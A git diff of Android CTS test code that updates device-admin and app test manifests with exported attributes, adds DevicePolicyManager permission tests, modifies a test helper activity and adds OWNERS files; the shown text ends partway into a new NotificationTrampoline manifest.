--- a/tests/admin/app/AndroidManifest.xml
+++ b/tests/admin/app/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
  * Copyright (C) 2011 The Android Open Source Project
  *
@@ -17,139 +16,152 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.admin.app">
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="28"/>
+     package="android.admin.app">
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="28"/>
 
     <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminDeviceOwner"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminProfileOwner"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin_2" />
+                 android:resource="@xml/device_admin_2"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver3"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_3" />
+                 android:resource="@xml/device_admin_3"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiverVisible"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_visible" />
+                 android:resource="@xml/device_admin_visible"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiverInvisible"
-                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin_invisible" />
+                 android:resource="@xml/device_admin_invisible"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Device Admin that needs to be in the deactivated state in order
-             for tests to pass. -->
+                         for tests to pass. -->
         <receiver android:name="android.admin.app.CtsDeviceAdminDeactivatedReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Helper Activity used by Device Admin activation tests -->
         <activity android:name="android.admin.app.CtsDeviceAdminActivationTestActivity"
-                android:label="Device Admin activation test" />
+             android:label="Device Admin activation test"/>
 
         <!-- Broken device admin: meta-data missing -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: filter doesn't match an Intent with action
-             android.app.action.DEVICE_ADMIN_ENABLED and nothing else (e.g.,
-             data) set -->
+                         android.app.action.DEVICE_ADMIN_ENABLED and nothing else (e.g.,
+                         data) set -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
-                <data android:scheme="https" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+                <data android:scheme="https"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: meta-data element doesn't point to valid
-             Device Admin configuration/description -->
+                         Device Admin configuration/description -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver3"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/broken_device_admin" />
+                 android:resource="@xml/broken_device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: filter doesn't match Intents with action
-             android.app.action.DEVICE_ADMIN_ENABLED -->
+                         android.app.action.DEVICE_ADMIN_ENABLED -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver4"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
             </intent-filter>
         </receiver>
 
         <!-- Broken device admin: no intent-filter -->
         <receiver android:name="android.admin.app.CtsDeviceAdminBrokenReceiver5"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
         </receiver>
 
     </application>
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 1c38b39..9c7989a 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -114,6 +114,26 @@
         assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
     }
 
+    public void testSetGetNetworkSlicingEnabled() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping SetGetNetworkSlicingEnabled");
+            return;
+        }
+        try {
+            mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
+        } catch (SecurityException se) {
+            Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+        }
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.setNetworkSlicingEnabled(true));
+
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.isNetworkSlicingEnabled());
+
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.isNetworkSlicingEnabledForUser(Process.myUserHandle()));
+    }
+
     public void testKeyguardDisabledFeatures() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testKeyguardDisabledFeatures");
@@ -684,6 +704,18 @@
         }
     }
 
+    public void testSetUninstallBlocked_succeedForNotInstalledApps() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetUninstallBlocked_succeedForNotInstalledApps");
+            return;
+        }
+        ComponentName profileOwner = DeviceAdminInfoTest.getProfileOwnerComponent();
+        mDevicePolicyManager.setUninstallBlocked(profileOwner,
+                "android.admin.not.installed", true);
+        assertFalse(mDevicePolicyManager.isUninstallBlocked(profileOwner,
+              "android.admin.not.installed"));
+    }
+
     public void testSetPermittedAccessibilityServices_failIfNotProfileOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testSetPermittedAccessibilityServices_failIfNotProfileOwner");
@@ -774,23 +806,28 @@
 
     private void assertDeviceOwnerMessage(String message) {
         assertTrue("message is: "+ message, message.contains("does not own the device")
-                || message.contains("can only be called by the device owner"));
+                || message.contains("can only be called by the device owner")
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertOrganizationOwnedProfileOwnerMessage(String message) {
-        assertTrue("message is: "+ message,
-                message.contains("is not the profile owner on organization-owned device"));
+        assertTrue("message is: " + message, message.contains(
+                "is not the profile owner on organization-owned device")
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertDeviceOwnerOrManageUsersMessage(String message) {
         assertTrue("message is: "+ message, message.contains("does not own the device")
                 || message.contains("can only be called by the device owner")
                 || (message.startsWith("Neither user ") && message.endsWith(
-                        " nor current process has android.permission.MANAGE_USERS.")));
+                        " nor current process has android.permission.MANAGE_USERS."))
+                || message.contains("Calling identity is not authorized"));
     }
 
     private void assertProfileOwnerMessage(String message) {
-        assertTrue("message is: "+ message, message.contains("does not own the profile"));
+        assertTrue("message is: "+ message, message.contains("does not own the profile")
+                || message.contains("is not profile owner")
+                || message.contains("Calling identity is not authorized"));
     }
 
     public void testSetDelegatedCertInstaller_failIfNotProfileOwner() {
diff --git a/tests/app/ActivityManagerApi29Test/Android.bp b/tests/app/ActivityManagerApi29Test/Android.bp
index 5418a8c..b724d98 100644
--- a/tests/app/ActivityManagerApi29Test/Android.bp
+++ b/tests/app/ActivityManagerApi29Test/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsActivityManagerApi29",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
index 0c75ff4..79a9020 100644
--- a/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
+++ b/tests/app/ActivityManagerApi29Test/AndroidManifest.xml
@@ -16,27 +16,30 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.app.cts.activitymanager.api29">
-    <uses-sdk android:minSdkVersion="11" android:targetSdkVersion="29" />
+     package="android.app.cts.activitymanager.api29">
+    <uses-sdk android:minSdkVersion="11"
+         android:targetSdkVersion="29"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
     <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
         <activity android:name=".SimpleActivity"
-                  android:excludeFromRecents="true">
+             android:excludeFromRecents="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
         <service android:name="LocationForegroundService"
-            android:foregroundServiceType="location|camera|microphone"
-            android:exported="true">
+             android:foregroundServiceType="location|camera|microphone"
+             android:exported="true">
         </service>
     </application>
 </manifest>
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index bc5125a..5332191 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAppTestCases",
     defaults: ["cts_defaults"],
@@ -35,10 +31,12 @@
         "androidx.test.rules",
         "platform-test-annotations",
         "platformprotosnano",
-        "permission-test-util-lib"
+        "permission-test-util-lib",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
     ],
     // Tag this module as a cts test artifact
@@ -49,6 +47,9 @@
     instrumentation_for: "CtsAppTestStubs",
     sdk_version: "test_current",
     min_sdk_version: "14",
+    // Disable coverage since it pushes us over the dex limit and we don't
+    // actually need to measure the tests themselves.
+    jacoco: { exclude_filter: ["**"] }
 }
 
 android_test {
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index b7f0371..3e1eb6a 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -25,6 +25,9 @@
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATIONS" />
+    <uses-permission android:name="android.permission.READ_PROJECTION_STATE" />
+    <uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 465b633..b43053c 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -28,6 +28,7 @@
         <option name="test-file-name" value="CtsAppTestStubsApp1.apk" />
         <option name="test-file-name" value="CtsAppTestStubsApp3.apk" />
         <option name="test-file-name" value="CtsAppTestStubsApp2.apk" />
+        <option name="test-file-name" value="CtsAppTestStubsApi30.apk" />
         <option name="test-file-name" value="CtsAppTestCases.apk" />
         <option name="test-file-name" value="CtsBadProviderStubs.apk" />
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
@@ -37,6 +38,8 @@
         <option name="test-file-name" value="NotificationListener.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
         <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
+        <option name="test-file-name" value="NotificationTrampoline.apk" />
+        <option name="test-file-name" value="NotificationTrampolineApi30.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
diff --git a/tests/app/BadProviderStubs/Android.bp b/tests/app/BadProviderStubs/Android.bp
index 1c4fca0..4bb23ed 100644
--- a/tests/app/BadProviderStubs/Android.bp
+++ b/tests/app/BadProviderStubs/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsBadProviderStubs",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState1/Android.bp b/tests/app/CantSaveState1/Android.bp
index 9173cd9..d33f966 100644
--- a/tests/app/CantSaveState1/Android.bp
+++ b/tests/app/CantSaveState1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCantSaveState1",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState1/AndroidManifest.xml b/tests/app/CantSaveState1/AndroidManifest.xml
index fadcaeb..41aad1f 100644
--- a/tests/app/CantSaveState1/AndroidManifest.xml
+++ b/tests/app/CantSaveState1/AndroidManifest.xml
@@ -13,14 +13,21 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.cantsavestate1">
-    <application android:label="Can't Save 1" android:cantSaveState="true">
-        <activity android:name="CantSave1Activity">
+     package="com.android.test.cantsavestate1">
+    <application android:label="Can't Save 1"
+         android:cantSaveState="true">
+        <activity android:name="CantSave1Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="com.android.test.action.FINISH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java b/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
index fb678cb..e606a1d 100644
--- a/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
+++ b/tests/app/CantSaveState1/src/com/android/test/cantsavestate2/CantSave1Activity.java
@@ -17,13 +17,51 @@
 package com.android.test.cantsavestate1;
 
 import android.app.Activity;
+import android.content.Intent;
 import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
 
 public class CantSave1Activity extends Activity {
+
+    public static final String ACTION_FINISH = "com.android.test.action.FINISH";
+    public static final String EXTRA_CALLBACK = "android.app.stubs.extra.callback";
+
+    private IBinder mCallback;
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.cant_save_1_activity);
         getWindow().getDecorView().requestFocus();
+        final Intent intent = getIntent();
+        final Bundle extras = intent.getExtras();
+        if (extras != null) {
+            mCallback = extras.getBinder(EXTRA_CALLBACK);
+        }
+    }
+
+    @Override
+    public void onTrimMemory(int level) {
+        if (mCallback != null) {
+            final Parcel data = Parcel.obtain();
+            final Parcel reply = Parcel.obtain();
+            data.writeInt(level);
+            try {
+                mCallback.transact(IBinder.FIRST_CALL_TRANSACTION, data, reply, 0);
+            } catch (RemoteException e) {
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        if (ACTION_FINISH.equals(intent.getAction())) {
+            finish();
+        }
     }
 }
diff --git a/tests/app/CantSaveState2/Android.bp b/tests/app/CantSaveState2/Android.bp
index 6e812af..b3a26b8 100644
--- a/tests/app/CantSaveState2/Android.bp
+++ b/tests/app/CantSaveState2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCantSaveState2",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/CantSaveState2/AndroidManifest.xml b/tests/app/CantSaveState2/AndroidManifest.xml
index 8f4f01d..92b059d 100644
--- a/tests/app/CantSaveState2/AndroidManifest.xml
+++ b/tests/app/CantSaveState2/AndroidManifest.xml
@@ -13,14 +13,17 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.cantsavestate2">
-    <application android:label="Can't Save 2" android:cantSaveState="true">
-        <activity android:name="CantSave2Activity">
+     package="com.android.test.cantsavestate2">
+    <application android:label="Can't Save 2"
+         android:cantSaveState="true">
+        <activity android:name="CantSave2Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
index fec3c4d..1d59250 100644
--- a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
+++ b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index 7dc651b..8b7d348 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -15,6 +15,8 @@
  */
 package android.app.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -212,6 +214,11 @@
         };
         for (String downloadLocation : downloadPath) {
             final File file = new File(Uri.parse(downloadLocation).getPath());
+            final File parentDir = file.getParentFile();
+            if (!parentDir.exists()) {
+                parentDir.mkdirs();
+                assertThat(parentDir.exists()).isTrue();
+            }
             try (InputStream in = mContext.getAssets().open(assetName);
                  OutputStream out = new FileOutputStream(file)) {
                 FileUtils.copy(in, out);
diff --git a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
index cb0b73b..c2424be 100644
--- a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
+++ b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/NOTIFICATION_OWNERS b/tests/app/NOTIFICATION_OWNERS
new file mode 100644
index 0000000..5eafb53
--- /dev/null
+++ b/tests/app/NOTIFICATION_OWNERS
@@ -0,0 +1,2 @@
+juliacr@google.com
+beverlyt@google.com
diff --git a/tests/app/NotificationDelegator/Android.bp b/tests/app/NotificationDelegator/Android.bp
index 314742c..7398d69 100644
--- a/tests/app/NotificationDelegator/Android.bp
+++ b/tests/app/NotificationDelegator/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "NotificationDelegator",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationDelegator/AndroidManifest.xml b/tests/app/NotificationDelegator/AndroidManifest.xml
index fbdf219..a05dcd2 100644
--- a/tests/app/NotificationDelegator/AndroidManifest.xml
+++ b/tests/app/NotificationDelegator/AndroidManifest.xml
@@ -13,28 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.test.notificationdelegator">
+     package="com.android.test.notificationdelegator">
     <application android:label="Notification Delegator">
-        <activity android:name="com.android.test.notificationdelegator.NotificationDelegator">
+        <activity android:name="com.android.test.notificationdelegator.NotificationDelegator"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.test.notificationdelegator.NotificationRevoker">
+        <activity android:name="com.android.test.notificationdelegator.NotificationRevoker"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost">
+        <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
diff --git a/tests/app/NotificationDelegator/OWNERS b/tests/app/NotificationDelegator/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationDelegator/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 64b11f7..96a0c3c 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "NotificationListener",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationListener/OWNERS b/tests/app/NotificationListener/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationListener/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index cb33762..26e69d7 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "NotificationProvider",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/NotificationProvider/OWNERS b/tests/app/NotificationProvider/OWNERS
new file mode 100644
index 0000000..8ef30c0
--- /dev/null
+++ b/tests/app/NotificationProvider/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 856573
+include ../NOTIFICATION_OWNERS
diff --git a/tests/app/NotificationTrampoline/Android.bp b/tests/app/NotificationTrampoline/Android.bp
new file mode 100644
index 0000000..0b72924
--- /dev/null
+++ b/tests/app/NotificationTrampoline/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NotificationTrampoline",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "NotificationTrampolineBase",
+    ],
+    sdk_version: "test_current",
+}
+
diff --git a/tests/app/NotificationTrampoline/AndroidManifest.xml b/tests/app/NotificationTrampoline/AndroidManifest.xml
new file mode 100644
index 0000000..97cbc42
--- /dev/null
+++ b/tests/app/NotificationTrampoline/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
